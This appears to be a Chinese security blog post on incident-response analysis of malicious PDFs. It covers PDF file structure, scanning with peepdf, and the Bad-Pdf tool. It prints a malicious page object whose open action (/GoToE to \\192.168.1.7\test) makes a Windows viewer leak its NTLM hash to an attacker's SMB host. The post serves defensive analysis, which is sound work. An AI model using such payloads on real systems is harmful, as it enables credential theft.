长亭百川云 - 文章详情

应急响应之PDF分析

huasec

63

2024-07-13

01

PDF介绍

      PDF(Portable Document Format,便携式文档结构)是一种文件格式,广泛适用于办公场景下,在针对特定目标投递包含恶意代码的PDF文档,用户只要打开PDF文档就会被攻击, 在分析恶意PDF 之前,首先需要了解一些 PDF 文件结构,PDF文件结构可分为以下几块:  

1、header: 

pdf文件的第一行,格式如下: 

 %PDF-1.7

表示当前文件的版本是1.7

2、body: 

pdf文件中用到的所有对象,包括文本、图像、音乐、视频、字体、等等,格式如下: 

  `2  0   obj``   ...  ``  end  obj`

其中省略号部分是pdf规定的对象

3、cross-reference   table: 

所有pdf对象的引用表,其格式如下: 

`xref` `0   5` `0000000000   65535  f` `0000000009   00000  n` `0000000074   00000  n` `0000000120   00000  n` `0000000179   00000  n`

其中,xref是开始标志,表示以下为引用表内容;0   5表示从对象号为0的开始, 

连续有5个对象(0、1、2、3、4),分别用5行来表示,每行的前10个数字代表这个对象相对文件头的偏移地址,后面5个数字只有当这个对象被删除的时候才有用,表示这个对象被删除后又被重新生成后的对象号,最后一位f或n表示对象是否被使用(n表示使用,f表示被删除或没有用) 。

4、trailer:

说明文件尾对象开始

`trailer` `<<` `/Size   8` `/Root   1  0   R` `>>` `startxref` `553` `%%EOF`

/Size   :这个pdf中总共使用了多少个对象 

/Root   :这个pdf文件的catalog对象的对象号,这是pdf中最顶层的对象 

/startxref: 后面的数字表示cross-reference  table的开始位置 

%%EOF:文件结束标志

使用十六进制工具打开PDF文件,以0x25 0x50 0x44 0x46开头即证明是pdf文件

02

peedf

下载地址:https://github.com/jesparza/peepdf

安装peepdf后,可以使用peepdf file.pdf 命令对PDF文件进行扫描,即可获取有关该文件的信息,peepdf 会分析出用于攻击的可疑对象,如下显示PDF的AcroForm、OpenAction、JS 和 JavaScript信息,同时还指出对象11包含 JavaScript代码。

执行python2 peepdf.py -i pdf路径,此处"-i"将提供一个交互式shell,用于对文件进行其他分析。

peepdf 将自动显示文件中的可疑内容,字段介绍如下:

/Encrypt指明PDF文件是否存在数字水印或者加密。

/Objects是object streams的数量。object streams是一个可以包含其他Object对象的数据流对象。

/OpenAction:打开文件时将执行的操作。

/JS : 一个文本字符串,其中包含触发动作时要执行的 JavaScript 脚本。

/JavaScript:执行 JavaScript 代码。通常恶意的PDF文件都嵌套有JavaScript代码,这里一般都是利用JavaScript的解析漏洞,当然也存在正常的PDF文件里会含有JavaScript代码

/Launch:将启动一个应用程序或打开一个文件。

如上图pdf中有许多包含可疑元素的对象,peedf还识别出了pdf存在漏洞

想要查看每块内容是什么,只需在控制台中输入“object num”并按回车键,将得到如下所示的内容。例如查看JS内容,

/S 描述了 PDF 要执行的操作类型。正如我们所见,它将执行一些 JavaScript

另外peepdf还支持其他功能,可以执行help命令查看,例如metadata,查看pdf的元数据。

03

badpdf

下载地址:https://github.com/deepzec/Bad-Pdf

使用badpdf创建的恶意PDF文件可以从windows机器窃取NTLM Hash.

执行命令后会生成一个名为badpdf.pdf的文件,在 Windows 机器上运行生成的badpdf.pdf文件成功获取 NTLM Hash

badpdf.pdf有781字节 , 3个object,不存在加密情况

/Type /Catalog说明该对象的类型为/Catalog,/Pages 2 0 R这里/Pages指的是这个根对象包含的/Pages的目标是对象号为2的对象,2 0 R的意思是对对象2的引用。

/Type /Pages 说明对象的类型为页码,/Count 1说明页码数量为1

/Parent 2 0 R说明其父对象的对象号为2,及Pages对象,/Resources << >>说明该页所要包含的资源,/MediaBox [0 0 612 792]说明页面的显示大小(以像素为单位)

通过bytes命令可以查看pdf的字节内容,如下bytes 0 781可以看到整个pdf的字节内容。

发现恶意代码块,分析如下

`3 0 obj``<< /Type /Page`   `/Contents 4 0 R``   `   `/AA <<`           `/O <<`              `/F (\\\\192.168.1.7\\test)`                  `/D [ 0 /Fit]`                  `/S /GoToE`                  `>>``   `           `>>``   `           `/Parent 2 0 R`           `/Resources <<`                        `/Font <<`                                `/F1 <<`                                        `/Type /Font`                                        `/Subtype /Type1`                                        `/BaseFont /Helvetica`                                        `>>`                                  `>>`                                `>>``>>``endobj`

/Contents 4 0 R表示页面内容对象的对象号为4

/Parent 2 0 R表示父对象是2

/AA 表示一个附加的动作,查看pdf时候产生动作执行

/F 表示要打开的文件路径

/S /GoToE表示转到某个嵌入文件,PDF规范允许为GoToE&GoToR条目加载远程内容

/D [ 0 /Fit]表示跳转页Destinations,Destinations定义文档的特定视图,是一个数组对象,[0 /Fit]即显示指定的第0个页面,整个页面缩放到适合窗口水平和垂直长度。如果所需的水平和垂直缩放的倍数不同时,选择两者中较小的一个倍数。简单理解就是显示窗口能显示下整个页面。

恶意代码通过GoToE加载192.168.1.7\\test的内容实现窃取hash。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2